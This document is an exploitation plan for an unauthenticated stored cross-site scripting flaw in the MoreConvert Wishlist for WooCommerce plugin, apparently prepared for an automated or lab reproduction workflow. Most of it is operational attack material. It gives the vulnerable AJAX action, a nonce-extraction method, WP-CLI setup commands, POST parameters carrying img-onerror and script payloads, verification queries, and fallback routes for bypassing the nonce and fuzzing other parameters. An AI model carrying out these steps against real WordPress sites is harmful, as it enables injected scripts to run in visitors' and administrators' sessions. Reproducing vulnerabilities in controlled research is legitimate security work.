Exploitation Research Plan - CVE-2026-57356

1. Vulnerability Summary

The MoreConvert Wishlist for WooCommerce plugin (versions <= 1.9.19) contains an unauthenticated stored cross-site scripting vulnerability. The issue exists in the handling of wishlist item additions, specifically where user-supplied variation attributes or metadata are stored without sufficient sanitization. When these items are subsequently rendered in the wishlist table (on the frontend) or within the admin dashboard (e.g., analytics or wishlist management views), the injected scripts execute in the context of the viewing user.

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php (or any frontend page via the wp_loaded hook).
• AJAX Action: wlfmc_add_to_wishlist (authenticated and unauthenticated).
• Vulnerable Parameter: variation (array) or custom metadata parameters sent during the "add to wishlist" process.
• Authentication: None required (unauthenticated).
• Preconditions: At least one WooCommerce product must exist and be publishable.

3. Code Flow

1. Entry Point: The request hits admin-ajax.php with action=wlfmc_add_to_wishlist OR a POST request is sent to any page with action=wlfmc_wp_loaded_add_to_wishlist (handled by WLFMC_Ajax_Handler::wp_loaded_action).
2. Processing: WLFMC_Ajax_Handler::add_to_wishlist() (in includes/class-wlfmc-ajax-handler.php) is called.
3. Sink (Storage): The function extracts product data and variations from $_POST. It saves these to the database (likely the wp_wlfmc_wishlist_items table) using raw values from the variation array without applying sanitize_text_field() or wp_kses().
4. Sink (Rendering): When a user or administrator views the wishlist (via the [wlfmc_wishlist] shortcode or the admin panel), the plugin retrieves the stored variation data and echoes it into the HTML table. Because esc_html() or esc_attr() is missing during this output phase, the script executes.

4. Nonce Acquisition Strategy

The plugin uses wp_localize_script to pass configuration and nonces to the frontend. The scripts are enqueued on pages containing wishlist shortcodes.

1. Shortcode: Identify the "Add to Wishlist" or "Wishlist" shortcode. The primary shortcode is [wlfmc_wishlist].
2. Page Creation: Use WP-CLI to create a public page containing this shortcode to ensure the script is enqueued.
3. Variable Identification: The localization object is named wlfmc_l10n.
4. Extraction:
   • Use browser_navigate to visit the created page.
   • Use browser_eval to extract the nonce: window.wlfmc_l10n?.nonce or check the data-nonce attribute on the wishlist table: jQuery('#wlfmc-wishlist-form table.wlfmc-wishlist-table').data('nonce').
   • Based on class-wlfmc-ajax-handler.php, the nonce action is likely -1 (default) or wlfmc_add_to_wishlist.

5. Exploitation Strategy

Step 1: Data Setup

Create a product and a page to facilitate nonce extraction.

# Create a simple product
wp wc product create --name="Exploit Product" --type=simple --regular_price=10 --status=publish

# Create a page with the wishlist shortcode to expose the nonce
wp post create --post_type=page --post_title="My Wishlist" --post_status=publish --post_content="[wlfmc_wishlist]"

Step 2: Nonce Extraction

Navigate to the wishlist page and extract the nonce.

• URL: /my-wishlist/
• JS Command: window.wlfmc_l10n.nonce (or check the HTML source for data-nonce).

Step 3: Payload Delivery

Send a malicious AJAX request to store the XSS payload.

• Method: POST
• URL: http://<target>/wp-admin/admin-ajax.php
• Headers: Content-Type: application/x-www-form-urlencoded
• Parameters:
  • action: wlfmc_add_to_wishlist
  • product_id: <ID_FROM_STEP_1>
  • variation[pa_color]: <img src=x onerror=alert(document.domain)>
  • nonce: <EXTRACTED_NONCE>

Step 4: Execution

The script will trigger when:

1. The attacker (or any user) visits the /my-wishlist/ page.
2. An administrator views the "Wishlists" or "Analytics" section in the WordPress dashboard.

6. Test Data Setup

• Product ID: Required (e.g., 10).
• Shortcode Page: /wishlist-test/ containing [wlfmc_wishlist].
• Target User: Unauthenticated for injection; Admin for impact verification.

7. Expected Results

• The AJAX response should return {"success":true,...}.
• Upon visiting the wishlist page, an alert box showing the document domain should appear.
• In the database, the variation column for the new item in wp_wlfmc_wishlist_items should contain the literal <img src=x...> string.

8. Verification Steps

Verify the payload is stored in the database:

wp db query "SELECT variation FROM wp_wlfmc_wishlist_items WHERE variation LIKE '%onerror%';"

Verify the output is unescaped in the frontend:

# Use http_request to fetch the wishlist page and grep for the raw payload
http_request get "http://<target>/my-wishlist/" | grep "onerror=alert"

9. Alternative Approaches

The wp_loaded Bypass

If admin-ajax.php enforces strict nonce checks that cannot be satisfied, use the wp_loaded entry point:

• Method: POST
• URL: http://<target>/ (Homepage)
• Parameters:
  • action: wlfmc_wp_loaded_add_to_wishlist
  • product_id: <ID>
  • variation[anything]: <script>alert(1)</script>
    This bypasses the standard WordPress AJAX routing and might skip certain nonce checks depending on the plugin's internal logic in wp_loaded_action.

Parameter Fuzzing

If variation is sanitized, attempt injection via:

• wishlist_token
• quantity (if not cast to int)
• add_to_wishlist (if the product name is reflected in the success message/fragment)